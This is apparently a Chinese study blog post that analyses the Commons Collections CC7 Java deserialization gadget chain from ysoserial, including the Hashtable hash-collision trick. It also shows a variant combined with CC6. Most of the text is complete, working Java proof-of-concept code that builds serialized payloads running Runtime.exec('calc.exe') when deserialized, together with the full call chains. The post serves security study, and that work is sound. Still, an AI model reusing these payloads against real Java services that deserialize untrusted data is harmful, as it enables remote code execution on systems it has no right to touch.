前言

CC7思路一样是通过找到另外一条链来调用LazyMap.get()方法

环境搭建

  • jdk 8u71
  • Commons Collection 3.2.1

CC7分析

先看ysoserial中给出的调用链:

image-20250707204633007

可以看到CC7是通过AbstractMap.equals来调用LazyMap.get()方法的

image-20250707204954223

在equals方法中会调m.get(key)方法,且m为传入的o,所以只需要将o传入为LazyMap对象即可。

继续往上找到AbstractMapDecorator.equals方法:

image-20250707205502936

该方法会调用map.equals(object)方法:

image-20250707205601885

而map也是我们可控的

继续往上跟进我们反序列化的起点Hashtable类:

image-20250707211135937

在Hashtable.readObject方法中调用了reconstitutionPut(table,key,value)方法,而Hashtable提供put方法,可通过put将key和value传入:

image-20250708144015685

注意会调用key.hashCode和entry.key.equals方法,它会将我们一开始的链子跑一遍,所以依然需要先传入假的faketransformers:

1
Transformer[] faketransformers=new Transformer[]{};

跟进Hashtable.reconstitutionPut方法:

image-20250707211403641

当e!=null时触发for循环,然后会判断e.hash==hash&&e.key.equals(key)。由于tab是用来储存键值对的,而在执行循环时会将tab[index]赋值给e,所以需要确保tab里有键值对,所以就需要在reconstitutionPut第一次遍历时将进行put一次传入键值对,然后在第二次遍历时再put一次作为key传入

而这里有个重要的点就是其实为了在调用AbstractMapDecorator.equals方法我们可以传入键值对都为LazyMap对象:

image-20250707214902972

这是因为LazyMap其实是继承AbstractMapDecorator类的,所以在执行e.key.equal时即执行LazyMap.equals(),由于LazyMap没有该方法,就会通过父类来执行:

1
2
3
4
5
6
7
8
9
10
11
ChainedTransformer chained=new ChainedTransformer(faketransformers);

HashMap inner1=new HashMap<>();
HashMap inner2=new HashMap<>();

Map map1=LazyMap.decorate(inner1, chained);
Map map2=LazyMap.decorate(inner2, chained);
Hashtable ht=new Hashtable();

ht.put(map1,1);
ht.put(map2,2);

但实现equals方法还有一个条件就是e.hash==hash,而hash=key.hashcode():

image-20250707230221421

即执行LazyMap.hashcode(),而LazyMap没有hashcode方法,就会执行父类AbstractMapDecorator.hashcode方法:

image-20250707230432404

由于是调用父类的方法,但这里的map还是我们一开始传入LazyMap的HashMap对象,即执行HashMap.hashcode(),但HashMap没有hashcode方法,所以调用父类AbstractMap.hashcode()方法:

image-20250707231711401

这里需要遍历键值对,没有就会直接返回,而HashMap并没有键值对,所以需要传入键值对,HashMap类存在put方法传入键值对:

1
2
3
4
5
6
7
8
9
10
11
12
HashMap inner1 = new HashMap<>();
HashMap inner2 = new HashMap<>();

Map map1=LazyMap.decorate(inner1, chained);
map1.put("b1uel0n3",1);

Map map2=LazyMap.decorate(inner2, chained);
map2.put("aaa",1);
Hashtable ht=new Hashtable();

ht.put(map1,1);
ht.put(map2,2);

然后我们看下两组的hashcode()值:

1
2
System.out.println(map1.hashCode());
System.out.println(map2.hashCode());

image-20250708145047827

显然是不等的,而ysoserial提供了两组hash相等的值:

1
2
yy与zZ
Ea与FB

image-20250708145807145

image-20250708145850859

这里我用的是第一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class CC7 {
public static void main(String[] args) throws Exception {
Transformer[] faketransformers=new Transformer[]{};

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
};
ChainedTransformer chained=new ChainedTransformer(faketransformers);
HashMap inner1 = new HashMap<>();
HashMap inner2 = new HashMap<>();

Map map1=LazyMap.decorate(inner1, chained);
inner1.put("yy",1);

Map map2=LazyMap.decorate(inner2, chained);
inner2.put("zZ",1);
Hashtable ht=new Hashtable();

ht.put(map1,1);
ht.put(map2,2);

Field filed=chained.getClass().getDeclaredField("iTransformers");
filed.setAccessible(true);
filed.set(chained,transformers);

serialize(ht);
unserialize();

}
public static void serialize(Object obj) throws Exception {
FileOutputStream out=new FileOutputStream("E:\\study\\web\\java\\test.ser");
ObjectOutputStream objOut=new ObjectOutputStream(out);
objOut.writeObject(obj);
}
public static Object unserialize() throws Exception {
FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser");
ObjectInputStream objIn=new ObjectInputStream(in);
Object obj=objIn.readObject();
return obj;
}
}

但并没有弹计算机

这是因为每执行一次map.put方法就会触发一次LazyMap.get()方法添加一对键值对:

image-20250708151627760

而最后反序列化时,AbstractMap.equals方法会判断第二次循环的LazyMap.size()值和第一次size值是否相等:

image-20250708151607256

所以需要移除第一次的yy:

1
map2.remove("yy");

还有一点faketransformers没传对象是因为每次put都会调用transform方法,而两次put后都返回1,当inner中的键的hashCode相同时,Hashtable.readObject会认为这是两个一样的对象,只执行在readObject的一次循环,导致只执行一次reconstitutionPut方法

完整poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class CC7 {
public static void main(String[] args) throws Exception {
Transformer[] faketransformers=new Transformer[]{};

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
};
ChainedTransformer chained=new ChainedTransformer(faketransformers);
HashMap inner1 = new HashMap<>();
HashMap inner2 = new HashMap<>();

Map map1=LazyMap.decorate(inner1, chained);
Map map2=LazyMap.decorate(inner2, chained);

map1.put("yy",1);
map2.put("zZ",1);
Hashtable ht=new Hashtable();

ht.put(map1,1);
ht.put(map2,2);
map2.remove("yy");

Field filed=chained.getClass().getDeclaredField("iTransformers");
filed.setAccessible(true);
filed.set(chained,transformers);

serialize(ht);
unserialize();

}
public static void serialize(Object obj) throws Exception {
FileOutputStream out=new FileOutputStream("E:\\study\\web\\java\\test.ser");
ObjectOutputStream objOut=new ObjectOutputStream(out);
objOut.writeObject(obj);
}
public static Object unserialize() throws Exception {
FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser");
ObjectInputStream objIn=new ObjectInputStream(in);
Object obj=objIn.readObject();
return obj;
}
}

image-20250708153036916

完整利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ObjectInputStream -> readObject()
Hashtable -> readObject()
Hashtable -> reconstitutionPut()
AbstractMapDecorator -> equals()
AbstractMap -> equals()
LazyMap -> get()
ChainedTransformer -> transform()
ConstantTransformer -> transform()
InvokerTransformer -> transform()
Class.getMethod()
InvokerTransformer -> transform()
Runtime.getRuntime()
InvokerTransformer -> transform()
Runtime.exec()

结合CC6

在Hashtable.reconstitutionPut()方法中调用了key.hashcode()方法,所以其实我们可以结合CC6来执行链子,通过调用TiedMapEntry.hashcode方法执行

完整poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class CC7 {
public static void main(String[] args) throws Exception {
Transformer[] faketransformers=new Transformer[]{};

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
};
ChainedTransformer chained=new ChainedTransformer(faketransformers);
HashMap inner = new HashMap<>();

Map map=LazyMap.decorate(inner, chained);

TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "b1uel0n3");

Hashtable ht=new Hashtable();
ht.put(tiedMapEntry,1);
map.remove("b1uel0n3");

Field filed=chained.getClass().getDeclaredField("iTransformers");
filed.setAccessible(true);
filed.set(chained,transformers);

serialize(ht);
unserialize();

}
public static void serialize(Object obj) throws Exception {
FileOutputStream out=new FileOutputStream("E:\\study\\web\\java\\test.ser");
ObjectOutputStream objOut=new ObjectOutputStream(out);
objOut.writeObject(obj);
}
public static Object unserialize() throws Exception {
FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser");
ObjectInputStream objIn=new ObjectInputStream(in);
Object obj=objIn.readObject();
return obj;
}
}

image-20250708154634806

完整调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ObjectInputStream -> readObject()
Hashtable -> readObject()
Hashtable -> reconstitutionPut()
TiedMapEntry -> hashCode()
TiedMapEntry -> getValue()
LazyMap -> get()
ChainedTransformer -> transform()
ConstantTransformer -> transform()
InvokerTransformer -> transform()
Class.getMethod()
InvokerTransformer -> transform()
Runtime.getRuntime()
InvokerTransformer -> transform()
Runtime.exec()

参考

https://infernity.top/2024/04/18/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-CC7%E9%93%BE/

https://nivi4.notion.site/Java-CommonCollections7-ef80bc3e4c1c47508a5762ac455a6cda

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections7.java

https://www.cnblogs.com/nice0e3/p/13910833.html